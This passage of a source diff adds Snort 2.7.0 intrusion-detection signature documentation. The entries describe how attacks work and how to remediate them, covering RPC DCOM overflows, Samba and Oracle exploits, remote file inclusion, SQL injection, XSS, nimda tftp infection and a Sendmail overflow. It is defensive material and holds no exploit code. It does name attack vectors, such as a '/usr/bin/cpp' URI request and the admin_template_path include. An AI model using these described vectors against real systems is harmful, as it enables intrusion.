+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000577.txt
+++ snort-2.7.0/doc/signatures/100000577.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000577
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_path_update.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_path_update.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2974.txt
+++ snort-2.7.0/doc/signatures/2974.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2974
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000745.txt
+++ snort-2.7.0/doc/signatures/100000745.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000745
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Diesel Joke Site" application running on a webserver. Access to the file "category.php" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "category.php" script used by the "Diesel Joke Site" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Diesel Joke Site
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3380.txt
+++ snort-2.7.0/doc/signatures/3380.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3380
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1694.txt
+++ snort-2.7.0/doc/signatures/1694.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1694
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3025.txt
+++ snort-2.7.0/doc/signatures/3025.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3025
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3305.txt
+++ snort-2.7.0/doc/signatures/3305.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3305
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1345.txt
+++ snort-2.7.0/doc/signatures/1345.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted cpp command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The cpp
+command is theGNU project's C and C++ compiler used to compile C and
+C++ sourcefiles into executable binary files. The attacker could
+possibly compilea program needed for other attacks on the system or
+install a binaryprogram of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains
+'/usr/bin/cpp'inthe URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin. This command may also
+be requested on acommand line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note: thesecurelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.7.0.orig/doc/signatures/2444.txt
+++ snort-2.7.0/doc/signatures/2444.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+2444
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in multiple versions of Internet Security Systems software.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible leading to unauthorized 
+access to the affected host. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the way that multiple ISS products parse ICQ
+messages. This can lead to execution of arbitrary code on hosts using
+the affected products.
+
+Due to insufficient bounds checking when ISS products parse protocol
+fields in ICQ SRV_META_USER data, a buffer overflow condition can be
+exploited to give an attacker the opportunity to execute arbitrary code
+and gain unauthorized administrative access to the host.
+
+It is possible that this condition can be exploited without the need for
+an established and valid ICQ session. The attacker could create packets
+originating from a host on port 4000 and send specially crafted data to 
+exploit the condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 22.11 and prior
+	RealSecure Server Sensor 7.0 XPU 22.11 and prior
+	RealSecure Server Sensor 6.5 for Windows SR 3.10 and prior
+	Proventia A Series XPU 22.11 and prior
+	Proventia G Series XPU 22.11 and prior
+	Proventia M Series XPU 1.9 and prior
+	RealSecure Desktop 7.0 ebl and prior
+	RealSecure Desktop 3.6 ecf and prior
+	RealSecure Guard 3.6 ecf and prior
+	RealSecure Sentry 3.6 ecf and prior
+	BlackICE Agent for Server 3.6 ecf and prior
+	BlackICE PC Protection 3.6 ccf and prior
+	BlackICE Server Protection 3.6 ccf and prior
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2685.txt
+++ snort-2.7.0/doc/signatures/2685.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2685
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_column
+. This procedure is included in
+sys.dbms_repcat_rq.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/111-11.txt
+++ snort-2.7.0/doc/signatures/111-11.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+111-11
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a scan is in progress. In this case, indications are that a Vecna scan
+is being used to determine the operating system of the target host.
+
+A sequence of packets has been observed that use a combination of URG,
+PUSH and FIN flags being set in a certain order in the datastream.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1675.txt
+++ snort-2.7.0/doc/signatures/1675.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1675
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/707.txt
+++ snort-2.7.0/doc/signatures/707.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+707
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1201.txt
+++ snort-2.7.0/doc/signatures/1201.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1201
+
+--
+Summary:
+This event is generated when a 403 error response code is returned to a
+client by a webserver.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when a 403 error response code is returned to a
+client by a webserver. This may indicate an attempt to gain unauthorized
+access to a web server or an application running on a web server.
+
+The 400 series error messages are used to indicate an error on the part
+of the browser client making the request to a web server. The 403
+response indicates a request for a forbidden resource that cannot be
+accessed even with authentication credentials.
+
+Many events may indicate a determined attempt to exploit a vulnerability
+on the victim server.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All web server platforms
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits for  many vulnerabilities exist although no exploit
+code may be required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1159.txt
+++ snort-2.7.0/doc/signatures/1159.txt
@@ -0,0 +1,62 @@
+Rule:  
+--
+
+Sid:
+1159
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the webplus
+CGI script.
+
+--
+Impact:
+Information Gathering.
+
+--
+Detailed Information:
+Some versions of TalentSoft Web+ contain vulnerabilities that can
+allow arbitrary files to be read or executed by an attacker. Disclosure
+of script source code is also possible.
+
+--
+Affected Systems:
+	TalentSoft Web+
+
+--
+Attack Scenarios:
+An attacker needs to supply a malicious request to the server containing
+webplus?script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply any appropriate vendor supplied patches.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000664.txt
+++ snort-2.7.0/doc/signatures/100000664.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000664
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "name" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2580.txt
+++ snort-2.7.0/doc/signatures/2580.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2580
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a heap overflow
+associated with Apache 1.3 proxy and cache module.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution of
+arbitrary code.
+
+--
+Detailed Information:
+When Apache 1.3 is used and the host is configured to be a web proxy,
+reverse proxy and/or cache server, a vulnerability exists that may
+allow a heap overflow and the subsequent execution of arbitrary code
+on the vulnerable server.  This may occur when the server receives
+a malformed response from a malicious web server that includes a
+negative content length value.  This can cause invalid memory access
+and a denial of service or heap overflow.
+
+--
+Affected Systems:
+Apache 1.3.x
+
+--
+Attack Scenarios:
+An attacker can entice a user to visit a malicious web server.  If
+a vulnerable server proxies the request and receives a malformed
+response, a heap overflow may occur.
+
+--
+Ease of Attack:
+Simple. Exploit code is publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0492
+
+Other:
+http://www.guninski.com/modproxy1.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1289.txt
+++ snort-2.7.0/doc/signatures/1289.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1289
+
+--
+Summary:
+This event is generated when an exploited Internet Information Server (IIS) host attempts to perform a tftp download of the file admin.dll to infect the host with the nimda worm. 
+
+--
+Impact:
+Administrator access.  A successful attack can allow remote execution of commands with administrator privleges.
+
+--
+Detailed Information:
+The nimda worm uses multiple propagation methods.  One method exploits a victim Internet Information Server (IIS) using a unicode directory traversal attack to execute commands on the target server.  An attempt is made to execute a tftp download of the file admin.dll from the infected attacking host to the victim server.  The admin.dll file is a copy of the nimda worm that is activated on the newly infected victim server.  This event is triggered if the IIS server is exploitable and the tftp transfer is attempted.
+
+--
+Affected Systems:
+Hosts running Microsoft IIS 4.0 and 5.0.
+
+--
+Attack Scenarios:
+The worm will attempt to remotely exploit a unicode directory vulnerability to infect an IIS server by executing a tftp download of the nimda worm.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch referenced in Microsoft Security Bulletin MS00-078.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2001-26.html
+
+Microsoft:
+http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/3275.txt
+++ snort-2.7.0/doc/signatures/3275.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3275
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2087.txt
+++ snort-2.7.0/doc/signatures/2087.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2087
+
+--
+Summary:
+vulnerability in Sendmail.
+
+--
+Impact:
+The remote attacker can gain access to a machine with the credentials of
+the user running the Sendmail daemon, usually 'root'.
+
+--
+Detailed Information:
+A vulnerability exists in the Sendmail MTA Daemon that could allow an
+attacker the opportunity to gain root access.
+
+A programming error exists such that a buffer overflow can be caused
+using the header fields in an SMTP session. Using the '<' and '>'
+characters in the 'from' field, an attacker can increment a counter to
